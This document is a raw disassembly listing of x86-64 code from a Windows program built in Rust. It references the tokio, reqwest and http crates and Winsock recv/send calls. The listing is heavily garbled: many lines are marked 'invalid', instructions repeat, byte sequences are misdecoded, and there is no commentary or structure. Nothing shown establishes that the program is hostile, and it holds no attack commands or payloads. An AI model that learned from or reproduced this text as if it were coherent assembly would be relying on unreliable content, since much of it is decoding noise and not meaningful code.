invalid
mov byte [rbx + 0x78], r14b
mov byte [rbx + 0x78], dh
je case.0x14013652c.0
add r15, 0x88
add edi, 0x88
invalid
add byte [rax], al
mov r9d, eax
cmp r15, r12
je case.0x14013652c.2
invalid
invalid
invalid
mov rax, qword [r15]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
loopne 0x1401360a6
cmp r14b, 2
jne 0x14013602b
mov rcx, qword [rbx + 0x528]
mov al, 2
cmp qword [rcx + 0x10], 4
mov byte [rbx + 0x78], 2
jne 0x14013603e
mov rax, qword [rcx + 8]
jmp 0x14013602b
add byte [rax], al
add byte [rdi], cl
mov dh, 0x43
js 0x140136014
add byte [rcx - 0x43], al
add al, 0
add byte [rax], al
lea rdi, [0x1401ea773]
cmp al, 2
jne 0x1401360b7
mov rax, qword [rbx + 0x528]
sub dword [rax], 5
add byte [rax], al
mov rdi, qword [rax + 8]
mov r13, qword [rax + 0x10]
mov rsi, qword [r15 + 8]
cmp qword [rsi + 0x28], 0
je 0x140136251
mov qword [rbx + 0xd0], r12
mov qword [rbx + 0xc8], r15
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], r9b
push rsi
cmp byte [rax - 0x77], cl
mov eax, dword [rax]
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebx, eax
fadd dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], r9b
xor byte [rax - 0x75], cl
push rsi
cmp byte [rax - 0x77], cl
mov eax, dword [rax]
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebx, eax
fadd dword [rax]
add byte [rax], al
mov r8, rdi
mov r9, r13
call fcn.140068ad0
dec dword [rcx - 0x77]
invalid
mov r12, qword [rsi + 0x10]
adc byte [rax - 0x77], cl
mov bl, 0x90
add byte [rax], al
add byte [rbx + rcx*4 + 0x7e], cl
sbb byte [rax - 0x3f], cl
call 0x1ae22c747
shl byte [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x1401360d7
add byte [rsi + 0x44], ah
pshufw mm1, mm0, 0
dec dword [rcx - 0x77]
invalid
adc byte [rax - 0x77], cl
mov bl, 0x90
add byte [rax], al
add byte [rbx + rcx*4 + 0x7e], cl
sbb byte [rax - 0x3f], cl
call 0x1ae22c747
shl byte [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x1401360d7
add byte [rsi + 0x44], ah
pshufw mm1, mm0, 0
xor eax, eax
mov qword [rbx + 0x68], rax
and r14, r15
movdqu xmm10, xmmword [r12 + r14]
movdqa xmm0, xmm9
pcmpeqb xmm0, xmm10
pmovmskb esi, xmm0
test esi, esi
jne 0x14013617c
pcmpeqb xmm10, xmm8
pcmpeqb mm2, mm0
pmovmskb eax, xmm10
test eax, eax
ror byte [rdi], 0x85
sbb al, byte [rcx]
add byte [rax], al
ror byte [rdi], 0x85
sbb al, byte [rcx]
add byte [rax], al
mov rax, qword [rbx + 0x68]
add r14, rax
add r14, 0x10
push 0x49c60149
add esi, 0x10
add rax, 0x10
jmp 0x140136120
rcl byte [rax], 0xeb
mov esi, 0x66666666
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
test ax, ax
je 0x14013613f
tzcnt eax, esi
add rax, r14
and rax, r15
clc
clc
neg rax
neg eax
imul rax, rax, 0x68
cmp qword [r12 + rax - 0x58], r13
jne 0x140136170
add rax, r12
mov rdx, qword [rax - 0x68]
mov edx, dword [rax - 0x68]
mov edx, dword [rax - 0x68]
mov rcx, rdi
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
invalid
jne 0x140136170
sal byte [rbp - 0x3a], 0xe9
in al, dx
add byte [rax], al
add byte [rbp - 0x78], al
mov r13b, r9b
lea rdi, [r15 + 8]
mov byte [rbx + 0x52], 1
push rdx
add esi, eax
push r11
add dword [rax - 0x73], ecx
mov eax, dword [rax]
add al, byte [rax]
add byte [rax - 0x77], cl
cli
lea r8, [rbx + 0x520]
call fcn.140078750
mov rax, qword [rbx + 0x200]
jmp 0x14013629b
add eax, 0x7ce80000
and eax, 0x8b48fff4
add dword [rax], 2
add byte [rax], al
cmp rax, 2
jne 0x14013649a
mov eax, r13d
lea rdx, [0x1401ef9e0]
jmp 0x14013603e
cmp cl, 2
jne 0x140136245
mov rcx, qword [rbx + 0x528]
mov al, 2
cmp qword [rcx + 0x10], 5
mov byte [rbx + 0x78], 2
js 0x140136217
js 0x140136217
jne 0x14013603e
and edi, esi
invalid
mov rax, qword [rcx + 8]
mov ecx, dword [rax]
mov r8d, 0x70747468
xor ecx, r8d
movzx eax, byte [rax + 4]
xor eax, 0x73
or eax, ecx
mov eax, r9d
mov byte [rbx + 0x78], r9b
jne 0x14013603e
js 0x14013624a
test esi, edi
std
invalid
jmp case.0x14013652c.2
mov eax, r9d
mov byte [rbx + 0x78], r9b
jmp 0x14013603e
js 0x140136236
in eax, dx
std
invalid
movzx eax, byte [rbx + 0xb0]
lea rsi, [0x1401ea218]
mov ecx, 0x48000b3f
lea edx, [0x1401ef9e0]
mov ecx, 0x48000b3f
lea edx, [0x1401ef9e0]
jmp 0x14013603e
movzx eax, byte [rbx + 0xb0]
lea rsi, [0x1401ea218]
movzx r14d, byte [rbx + 0xa8]
mov r15, qword [rbx + 0xc8]
mov r12, qword [rbx + 0xd0]
lea rdx, [0x1401ef9e0]
jmp 0x14013603e
add eax, 0xb44bc
mov r9d, 4
call fcn.140068ad0
mov rdx, qword [rbx + 0x90]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rdx + 0x18]
mov rdx, rax
shr rdx, 0x39
invalid
cmp dword [rsi + 0xf], esp
outsb dx, byte [rsi]
ret 0xf66
invalid
sal dl, 0xf
jo 0x1401362a4
add byte [rsi + 0xf], ah
jo 0x1401362a9
invalid
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rbx + r9*4 + 0x42], cl
sbb byte [rax - 0x77], cl
ret 0xc148
invalid
xor r9d, r9d
pcmpeqd xmm1, xmm1
and rax, r8
movdqu xmm2, xmmword [rcx + rax]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pcmpeqb mm3, mm2
pmovmskb r10d, xmm3
test r10d, r10d
jne 0x14013633f
pcmpeqb xmm2, xmm1
pmovmskb edx, xmm2
test edx, edx
jne case.0x14013652c.2
test esi, ecx
out dx, al
invalid
invalid
xlatb
rol byte [rbp - 0x317af02e], cl
test esi, ecx
test esi, ecx
out dx, al
invalid
dec dword [rcx + rax - 0x38]
add rax, r9
add rax, 0x10
add eax, 0x10
add r9, 0x10
jmp 0x1401362f1
adc bl, ch
leave
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
lea edx, [r10 - 1]
and edx, r10d
inc dword [rcx + riz - 0x2e]
mov r10d, edx
test dx, dx
je 0x14013630b
tzcnt edx, r10d
bsf edx, edx
add rdx, rax
ret 0x214c
and rdx, r8
neg rdx
imul rdx, rdx, 0x68
cmp qword [rcx + rdx - 0x58], 4
jne 0x140136330
add rdx, rcx
add edx, ecx
mov r11, qword [rdx - 0x68]
cwde
cmp dword [r11], 0x70747468
jne 0x140136330
push 0x75707474
mov dword [rax + 0xf02f87a], 0xffee7684
dec dword [rax - 0x73]
lea rdi, [rdx - 8]
jo 0x1401363dd
cmp byte [rdx - 8], 2
je case.0x14013652c.2
jbe 0x14013635f
invalid
lea rdi, [rdx - 8]
mov rax, qword [rdx - 0x28]
mov r8, qword [rdx - 0x20]
mov rax, qword [rax]
add byte [rbx + rcx*4 + 0x4a], cl
call 0x130d5e6d2
fmul dword [rbx + rcx*4 + 0x42]
loopne 0x1401363c8
add byte [rbx + rcx*4 + 0x4a], cl
call 0x130d5e6d2
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 1
lea rcx, [rbx + 0xc40]
call rax
movzx eax, byte [rdi]
mov byte [rbx + 0xc60], al
mov rax, qword [rbx + 0xc60]
mov qword [rbx + 0x6d0], rax
or al, 0
add byte [rax - 0x75], cl
and dword [rax + 0xc], 0
add byte [rax - 0x77], cl
adc eax, 6
rol byte [rsi], 1
add byte [rax], al
movdqa xmm0, xmmword [rbx + 0xc40]
movdqa xmm1, xmmword [rbx + 0xc50]
add dword [rax + 0xc], 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov edx, dword [rax + 0xc]
add byte [rax], al
movdqa xmmword [rbx + 0x6c0], xmm1
movq qword [rbx + 0x6c0], mm1
mov eax, eax
invalid
movdqa xmmword [rbx + 0x6b0], xmm0
movdqa xmmword [rbx + 0x9a0], xmm6
or dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x140136399
nop
or dword [rax], eax
add dh, al
push r10
add esi, eax
push r11
add dword [rax - 0x73], ecx
mov eax, dword [rax]
add al, byte [rax]
add byte [rax - 0x73], cl
xchg ebx, eax
add byte [rcx], 0
add byte [rbp + rcx*4 - 0x7d], cl
nop
or dword [rax], eax
add byte [rbp + rcx*4 - 0x75], cl
mov al, 6
add byte [rax], al
or dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x140136399
nop
or dword [rax], eax
add dh, al
push r10
add esi, eax
push r11
add dword [rax - 0x73], ecx
mov eax, dword [rax]
add al, byte [rax]
add byte [rax - 0x73], cl
xchg ebx, eax
add byte [rcx], 0
add byte [rbp + rcx*4 - 0x7d], cl
nop
or dword [rax], eax
add byte [rbp + rcx*4 - 0x75], cl
mov al, 6
add byte [rax], al
call fcn.140066000
cmp byte [rbx + 0x220], 2
je case.0x14013652c.2
mov rax, qword [rbx + 0x200]
mov rdx, qword [rbx + 0x208]
mov rax, qword [rax + 0x10]
lea rcx, [rbx + 0x218]
mov r8, qword [rbx + 0x210]
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 1
call rax
jmp case.0x14013652c.2
mov byte [rbx + 0xa6], 0
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rcx, rax
call fcn.140186a70
jmp 0x140133cfd
add byte [rax - 0x77], cl
shr eax, 0x13
invalid
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rcx, r12
call fcn.140186a70
jmp 0x140133cfd
jg 0x140136454
invalid
invalid
jg 0x140136454
invalid
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rcx, rax
call fcn.140186a70
add eax, 0x63e90005
fdivr st(7)
invalid
add eax, 0x63e90005
fdivr st(7)
dec dword [rax - 0x7b]
sal byte [rdx + rbp - 0x80], 0xbb
test rax, rax
je 0x1401364c9
cmp byte [rbx + 0x248], 2
add al, byte [rax]
add byte [rdx], al
je 0x1401364f1
mov rax, qword [rbx + 0x228]
mov rdx, qword [rbx + 0x230]
lea rcx, [rbx + 0x240]
mov r8, qword [rbx + 0x238]
mov eax, dword [rbx + 0x238]
mov eax, dword [rbx + 0x238]
add bh, bh
push rax
adc bl, ch
sub byte [rax + 0x248bb], al
add byte [rax], al
invalid
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1401364f1
cmp byte [rbx + 0x248], 2
add byte [rax], al
add dh, byte [rdi + rbx + 0x48]
mov rax, qword [rbx + 0x228]
je 0x1401364f1
mov rax, qword [rbx + 0x228]
mov rdx, qword [rbx + 0x230]
lea rcx, [rbx + 0x240]
mov r8, qword [rbx + 0x238]
call qword [rax + reloc.WS2_32.dll_recv]
push rax
invalid
push rax
adc byte [rax - 0x75], cl
mov eax, dword [rbx + 0x208]
mov rax, qword [rbx + 0x208]
mov eax, dword [rbx + 0x208]
mov rdx, qword [rbx + 0x210]
mov edx, dword [rbx + 0x210]
mov rax, qword [rax + 0x10]
lea rcx, [rbx + 0x220]
and byte [rdx], al
add byte [rax], al
mov r8, qword [rbx + 0x218]
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 1
call rax
invalid
mov rax, qword [r15]
lea rcx, [0x1401ef9f4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne 0x140136570
cmp byte [r15 + 0x50], 2
je case.0x14013652c.2
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 1
push r11
add dword [rax - 0x73], ecx
mov eax, dword [rax + 0xc]
add byte [rax], al
mov rdx, r15
call rax
jmp 0x14013639b
mov rax, qword [rdi]
cmp qword [rax + 0x28], 0
je case.0x14013652c.2
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 1
lea rcx, [rbx + 0x6b0]
lea r8, [rbx + 0x520]
mov rdx, rdi
call fcn.140078750
cmp dword [rbx + 0x6b0], 2
je case.0x14013652c.2
lea rcx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
call fcn.140186e60
jmp 0x140133cfd
mov byte [rbx + 0x67], 0
lea rcx, [rbx + 0x990]
call fcn.14013bae0
mov al, 1
mov byte [rbx + 0xc40], al
lea rax, [rbx + 0xc40]
mov qword [rbx + 0x6b0], rax
lea rax, [0x14016b6c0]
mov qword [rbx + 0x6b8], rax
lea rax, [0x1401ea648]
mov qword [rbx + 0x200], rax
mov qword [rbx + 0x208], 1
mov qword [rbx + 0x220], 0
lea rax, [rbx + 0x6b0]
mov qword [rbx + 0x210], rax
mov qword [rbx + 0x218], 1
mov byte [rbx + 0x67], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingclient.rs
lea rcx, [rbx + 0x200]
call fcn.1401869b0
jmp 0x140133cfd
movzx eax, byte [rbx + 0x201]
mov byte [rbx + 0x6b0], al
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea rax, [0x1401be358]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401be2ca]
lea r9, case.0x140119330.357
lea r8, [rbx + 0x6b0]
mov edx, 0x29
call fcn.140186ec0
jmp 0x140133cfd
mov byte [rbx + 0x78], r15b
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 0
lea rcx, [rbx + 0x10f0]
call fcn.14006d7b0
jmp 0x140136885
mov byte [rbx + 0x52], 1
mov byte [rbx + 0x53], 0
lea rcx, [rbx + 0x200]
call fcn.14006b710
lea rcx, [rbx + 0xc40]
lea rdx, [rbx + 0x6b0]
mov r8d, 0xd6
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1401368a8
mov byte [rbx + 0x78], r13b
mov byte [rbx + 0x68], r12b
lea rcx, [rbx + 0x990]
lea rdx, [rbx + 0x200]
mov r8d, 0xce
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0x6b0]
mov ecx, dword [rbx + 0x6b3]
mov dword [rbx + 0x10f0], eax
mov dword [rbx + 0x10f3], ecx
movdqu xmm0, xmmword [rbx + 0x160]
movdqu xmm1, xmmword [rbx + 0x170]
movdqa xmmword [rbx + 0x210], xmm1
movdqa xmmword [rbx + 0x200], xmm0
mov byte [rbx + 0x52], 0
mov byte [rbx + 0x53], 0
lea rcx, [rbx + 0x200]
call fcn.14006b820
movzx eax, byte [rbx + 0x78]
mov byte [rbx + 0x200], al
movzx eax, byte [rbx + 0x68]
mov byte [rbx + 0x201], al
mov byte [rbx + 0x52], 0
mov byte [rbx + 0x53], 0
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401be53d]
lea r9, case.0x140119330.357
lea r8, [rbx + 0x200]
mov edx, reloc.WS2_32.dll_send
call fcn.140186ec0
jmp 0x140133cfd
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
mov ecx, 1
mov rdx, rdi
call fcn.140186620
jmp 0x140133cfd
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
call fcn.1400106d0
jmp 0x140133cfd
mov ecx, 8
mov edx, WSAStartup
call fcn.140186620
jmp 0x140133cfd
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140133cfd
call fcn.1400106d0
jmp 0x140133cfd
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea eax, [rax - 0x18000000]
rcr byte [rsi], 3
add byte [rax + 0x28c48348], dl
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x88]
call fcn.140029350
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x40]
call fcn.14014a920
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rbp + 0x90]
lea rcx, [rax + 0x30]
call fcn.14006ba50
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
clc
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x14013b840
and eax, 0xa
cmp eax, 8
jne 0x14013b862
or al, byte [rbx + 0xb7508f8]
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
mov rax, qword [rbp - 8]
jne 0x14013b87a
mov rcx, qword [rax]
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140045bf0
nop
add rsp, 0x38
pop rsi
pop rbp
ret
mov r8, qword [rbp - 8]
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
call 0x150644511
mov rcx, qword [rbp - 8]
call fcn.140046050
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
xor al, 0
add byte [rax], al
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
add dword [rax - 0x77], ecx
and al, 0x20
test rax, rax
je 0x14013bacd
lea rcx, [rsp + 0x20]
call fcn.14006c170
nop
add rsp, 0x28
ret
mov eax, dword [rbp - 8]
xor byte [rdi], cl
invalid
adc al, dh
dec qword [rsi]
invalid
mov ecx, dword [rbp - 8]
add rcx, 0x138
call fcn.14012a500
nop
add rsp, 0x28
pop rsi
pop rbp
ret
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
call fcn.14012a5a0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call fcn.14012a5a0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
je 0x14013bd3e
test rax, rax
jne 0x14013bd8e
add rcx, 0x10
add rsp, 0x40
pop rbp
jmp fcn.14013bae0
cmp qword [rcx + 0x18], 0
je 0x14013bd8e
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x14013bd8e
and byte [rax - 0x7b], cl
sal byte [rax + rax*2 + 0x48], 0x8b
push rcx
sub byte [rax - 0x77], cl
invalid
mov rdx, qword [rcx + 0x28]
mov qword [rbp - 0x10], rax
mov rcx, rax
mov qword [rbp - 0x18], rdx
call qword [rdx]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x10]
je 0x14013bd8e
invalid
cmp qword [rax + 0x10], 0x11
jb 0x14013bd79
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
add al, 0x10
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x40
pop rbp
ret
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
invalid
call fcn.140005270
nop
add rsp, 0x20
pop rbp
ret
invalid
int3
clc
invalid
mov ecx, dword [rbp - 0x10]
mov rax, qword [rcx + 0x2e0]
test rax, rax
je 0x14013be3f
mov rcx, qword [rcx + 0x2e8]
mov eax, ebp
add al, byte [rax]
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add rsp, 0x30
pop rbp
jmp qword [rax + 0x18]
jmp qword [rax + 0x18]
jmp qword [rax + 0x18]
nop
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 0x10]
invalid
invalid
mov rcx, qword [rax + 0x2e0]
mov rdx, qword [rax + 0x2e8]
call fcn.140023540
nop
add rsp, 0x20
pop rbp
ret
invalid
invalid
dec dword [rax - 0x77]
invalid
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
clc
add dword [rcx + rcx*4 - 0x3f], ecx
clc
add dword [rcx + rcx*4 - 0x3f], ecx
je 0x14013bede
test rax, rax
jne 0x14013bf2e
add rcx, 0x10
add rsp, 0x40
pop rbp
jmp fcn.14013bae0
cmp qword [rcx + 0x18], 0
je 0x14013bf2e
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x14013bf2e
and byte [rax - 0x7b], cl
sal byte [rax + rax*2 + 0x48], 0x8b
mov rdx, qword [rcx + 0x28]
mov qword [rbp - 0x10], rax
invalid
mov rcx, rax
mov qword [rbp - 0x18], rdx
call qword [rdx]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
push rcx
sub byte [rax - 0x77], cl
invalid
invalid
ror dword [rax - 0x77], 0x55
call 0xcb5bd200
mov eax, dword [rbp - 0x18]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x10]
je 0x14013bf2e
cmp qword [rax + 0x10], 0x11
jb 0x14013bf19
add al, 0x4d
mov eax, dword [rax - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x40
pop rbp
ret
adc byte [rbp + 0x48], dl
sub esp, 0x20
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x10]
add rcx, 0x10
rcl dword [rax], 0xe8
cmc
adc eax, dword [rax]
add byte [rax + 0x20c48348], dl
rcl dword [rax], 0xe8
cmc
adc eax, dword [rax]
add byte [rax + 0x20c48348], dl
pop rbp
ret
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
invalid
ret
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rcx
add rcx, 0x20
shl dword [rax], 0xe8
sar esi, 0xff
dec dword [rax - 0x75]
invalid
invalid
mov rax, qword [rcx + 0x2e0]
add byte [rax], al
invalid
shl dword [rax], 0xe8
sar esi, 0xff
dec dword [rax - 0x75]
invalid
add byte [rax], al
test rax, rax
je 0x14013bfdf
mov rcx, qword [rcx + 0x2e8]
add rsp, 0x30
pop rbp
jmp qword [rax + 0x18]
jmp qword [rax + 0x18]
jmp qword [rax + 0x18]
nop
add rsp, 0x30
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
and byte [rax - 0x73], cl
push 0x30
and byte [rax - 0x73], cl
push 0x30
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x2e0]
add byte [rax - 0x75], cl
nop
call 0x12813c013
sub esi, dword [rbp - 0x12]
call qword [rax + 0x20c48348]
add byte [rax - 0x75], cl
nop
call 0x12813c013
sub esi, dword [rbp - 0x12]
call qword [rax + 0x20c48348]
pop rbp
ret
lea ebp, [rsp + 0x80]
mov qword [rbp + 0x520], 0xfffffffffffffffe
dec dword [rax - 0x77]
iretd
mov rax, qword [rcx]
jmp 0x14013c07a
dec dword [rax - 0x77]
iretd
mov rdx, rax
and rdx, 0xfffffffffffffffa
and edx, 0xfffffffa
or rdx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rdi], rdx
je 0x14013c0a8
test al, 4
je 0x14013c47e
test al, 3
je 0x14013c060
cmp rax, 0x3f
jbe 0x14013c498
or byte [rax + rax], al
invalid
or byte [rax + rax], al
add byte [rax - 0x73], cl
push rax
ror byte [rax - 0x7d], 0xfa
mov ecx, 0
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rdi], rdx
mov cl, 0x17
mov cl, 0x17
jne 0x14013c07a
lea rax, [0x1401efa34]
or eax, dword [rax]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
lea rax, [0x1401c6680]
or byte [rax], al
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], rdi
lea rax, [rdi + 0x20]
invalid
and byte [rax - 0x77], cl
test dword [rax], ecx
add eax, 0x8d480000
test eax, esp
add al, 0
add byte [rax - 0x77], cl
test eax, esi
add al, 0
mov qword [rbp + 0x508], rax
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x4f0], rax
add byte [rbx + 0x4802307f], al
mov dword [rbp + 0x518], edi
add byte [rbx + 0x4802307f], al
mov dword [rbp + 0x518], edi
ja 0x14013c4e6
mov rsi, qword [rdi + 0x28]
mov eax, dword [0x14023c30c]
add eax, 0x10020b
add eax, 0x10020b
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x14013c169
test eax, eax
jne 0x14013c1d4
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add byte [rax - 0x75], cl
add al, 0xc1
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
add al, byte [rax]
add al, byte [rax]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0x100], 1
add dword [rax - 0x75], ecx
mov ebp, 0x518
add dword [rax - 0x75], ecx
mov ebp, 0x518
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add dword [rax], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
mov qword [rbp + 0x510], rcx
lea edx, [rax]
add eax, 0x8b480000
mov al, bl
add byte [rax], al
add byte [rax - 0x77], cl
lea eax, [rax]
add eax, 0xc7480000
mov dword [rax + 0xd0], 1
add byte [rax], al
add byte [rax - 0x77], cl
lea edx, [rax]
add eax, 0x8b480000
mov al, bl
add byte [rax], al
add byte [rax - 0x77], cl
lea eax, [rax]
add eax, 0xc7480000
mov dword [rax + 0xd0], 1
mov dword [rax + 0xd0], 1
mov qword [rax + 0xd8], rsi
jmp 0x14013c1dd
add bl, ch
xor dword [rax - 0x73], ecx
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
invalid
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
movabs al, byte [0x48000005088d8948]
mov dword [rbp + 0x518], edi
mov ebp, 0x518
mov qword [rbp + 0x508], rcx
mov qword [rbp + 0x518], rdi
mov ebp, 0x518
mov ebp, 0x518
call fcn.14013f750
jmp 0x14013c425
xor eax, eax
mov qword [rbp + 0x510], rax
adc byte [0xcd5bc1df], al
xor byte [r8 - 0x73], r9b
xchg ebp, eax
invalid
lea rcx, [rdi + 0x30]
lea rdx, [rbp + 0x4f0]
call fcn.14013d420
mov ebx, eax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov rsi, qword [rbp + 0x500]
je 0x14013c259
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rbp + 0x510]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], rsi
